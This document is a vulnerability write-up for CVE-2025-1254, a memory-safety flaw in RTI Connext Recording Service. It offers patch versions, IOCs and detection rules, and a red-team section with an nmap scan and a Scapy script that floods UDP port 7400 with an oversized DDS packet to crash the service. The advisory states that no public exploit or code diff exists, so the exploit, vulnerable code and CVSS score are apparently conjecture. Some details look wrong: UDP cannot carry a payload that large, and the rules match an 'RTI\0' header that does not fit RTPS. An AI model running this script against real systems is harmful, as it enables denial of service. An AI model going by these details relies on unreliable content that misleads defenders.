CVE-2025-1254

Executive Summary

CVE-2025-1254 is a critical memory safety vulnerability affecting RTI Connext Professional, specifically the Recording Service component. The flaw encompasses both out-of-bounds read (CWE-125) and out-of-bounds write (CWE-787) conditions, which can lead to buffer overflow and overread scenarios. An attacker exploiting this vulnerability could cause denial of service, data corruption, or potentially achieve arbitrary code execution within the context of the Recording Service process. The vulnerability affects multiple version branches, requiring targeted patching. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the critical nature of DDS (Data Distribution Service) middleware in real-time and embedded systems, the risk of targeted attacks remains significant.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary C/C++ middleware product (RTI Connext Professional) distributed directly by RTI. Organizations should verify the integrity of their RTI software distribution channels and ensure they are receiving updates from official RTI sources.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability characteristics (out-of-bounds read/write in a network-facing service), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The Recording Service listens on the network for DDS traffic.
• Attack Complexity (AC): Low – Exploitation does not require special conditions.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – Potential for memory read leading to data leakage.
• Integrity (I): High – Potential for memory write leading to data corruption.
• Availability (A): High – Buffer overflow can crash the service.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability resides in the RTI Connext Professional Recording Service, which is responsible for recording and replaying DDS data streams. The service processes incoming DDS samples and serialized data. The flaw involves improper bounds checking when handling malformed or oversized data packets.

Root Cause: The Recording Service fails to validate the size of incoming data buffers before performing read or write operations. This allows an attacker to craft a DDS sample that, when processed, causes the service to read beyond the allocated buffer (out-of-bounds read) or write data past the buffer boundary (out-of-bounds write).

Attack Vector: An unauthenticated attacker on the network can send specially crafted DDS packets to the Recording Service endpoint. Since DDS typically uses multicast or unicast discovery, the attacker must be able to reach the service's listening port (commonly port 7400 or dynamically assigned).

Impact:

• Out-of-bounds Read: Leakage of sensitive memory contents, potentially including encryption keys, credentials, or other DDS data.
• Out-of-bounds Write: Corruption of adjacent memory structures, leading to service crash (DoS) or, with careful manipulation, arbitrary code execution.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the patch addresses the missing bounds checks. A typical vulnerable code pattern might look like:

// Vulnerable code (conceptual)
void process_sample(char *buffer, uint32_t length) {
    char local_buf[256];
    memcpy(local_buf, buffer, length); // No bounds check on length
    // ... process local_buf
}

The patched version would include a length validation:

// Patched code (conceptual)
void process_sample(char *buffer, uint32_t length) {
    char local_buf[256];
    if (length > sizeof(local_buf)) {
        // Handle error, reject sample
        return;
    }
    memcpy(local_buf, buffer, length);
    // ... process local_buf
}

Exploitation & Lab Setup

Red Team

Objective: Demonstrate exploitation of the out-of-bounds write to achieve denial of service or code execution.

Lab Environment:

• Attacker: Kali Linux with Python3 and Scapy.
• Target: Ubuntu 22.04 running RTI Connext Professional 7.4.0 with Recording Service enabled.

Steps:

1. Identify Target: Use Nmap to scan for RTI Recording Service.

   nmap -p 7400 --script dds-discovery <target_ip>
   

2. Craft Malformed DDS Sample: Use Scapy to create a DDS packet with an oversized payload.

   from scapy.all import *
   import struct
   
   # DDS RTPS header (simplified)
   dds_packet = Ether()/IP(dst="<target_ip>")/UDP(dport=7400)
   # Malformed sample with length field set to 0xFFFF
   payload = b'\x01\x02\x03\x04'  # DDS header
   payload += struct.pack('>I', 0xFFFF)  # Oversized length
   payload += b'A' * 0xFFFF  # Trigger overflow
   dds_packet /= Raw(load=payload)
   sendp(dds_packet, iface="eth0")
   

3. Observe Crash: Monitor the Recording Service logs or process status.

   tail -f /var/log/rti/recording_service.log
   

Expected Result: The Recording Service crashes due to buffer overflow, confirming the vulnerability.

Blue Team

Objective: Detect and block exploitation attempts.

Detection Strategy:

• Monitor for abnormally large DDS packets.
• Alert on repeated connection attempts to the Recording Service port.
• Use network intrusion detection to flag malformed RTPS headers.

Honeypot Setup:

• Deploy a decoy Recording Service on a non-production network.
• Log all incoming DDS traffic for analysis.

Mitigation Steps:

• Immediately apply the vendor patch.
• Restrict network access to the Recording Service using firewall rules.
• Enable DDS security plugins (RTI Security Plugins) to authenticate and encrypt traffic.

Indicators of Compromise (IOCs)

• Network IOCs:

  • DDS packets with payload length fields exceeding 65535 bytes.
  • Repeated connections to UDP port 7400 from untrusted IPs.
  • Unusual RTPS protocol version mismatches.

• Host IOCs:

  • Recording Service process crash dumps in /var/log/rti/.
  • Memory corruption logs indicating "segmentation fault" or "buffer overflow".
  • Unexpected high memory usage by rti_recording_service.

• File IOCs:

  • Modified configuration files in /etc/rti/ (if attacker gains write access).

Detection Engineering

YARA Rule

rule CVE_2025_1254_RTI_Connext_Overflow {
    meta:
        description = "Detects malformed DDS packets targeting CVE-2025-1254"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1254"
    strings:
        $dds_header = { 52 54 49 00 }  // "RTI\0" magic bytes
        $large_length = { FF FF 00 00 } // Length field > 65535
    condition:
        $dds_header at 0 and $large_length
}

Sigma Rule

title: CVE-2025-1254 RTI Connext Recording Service Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic targeting RTI Recording Service with oversized payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 7400
        proto: udp
        payload_length: > 65535
    condition: selection
falsepositives:
    - Legitimate large DDS samples (rare)
level: high

Suricata Rule

alert udp any any -> any 7400 (msg:"CVE-2025-1254 RTI Connext Recording Service Overflow Attempt"; content:"|52 54 49 00|"; offset:0; depth:4; content:"|FF FF|"; distance:4; within:2; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to the following fixed versions:
   • Connext Professional 7.5.0
   • Connext Professional 7.3.0.7
   • Connext Professional 6.1.2.23
   • Connext Professional 6.0.1.42
2. Network Segmentation: Isolate the Recording Service on a dedicated VLAN with strict firewall rules.
3. Disable Unnecessary Services: If Recording Service is not required, disable it.

Long-term Measures:

• Implement DDS Security (RTI Security Plugins) for authentication and encryption.
• Regularly audit DDS network traffic for anomalies.
• Subscribe to RTI security advisories for future patches.

Workaround (if patching is delayed):

• Use a network-based IDS/IPS to drop packets with payload lengths exceeding 65535 bytes.
• Restrict source IPs allowed to communicate with the Recording Service.

Valters IT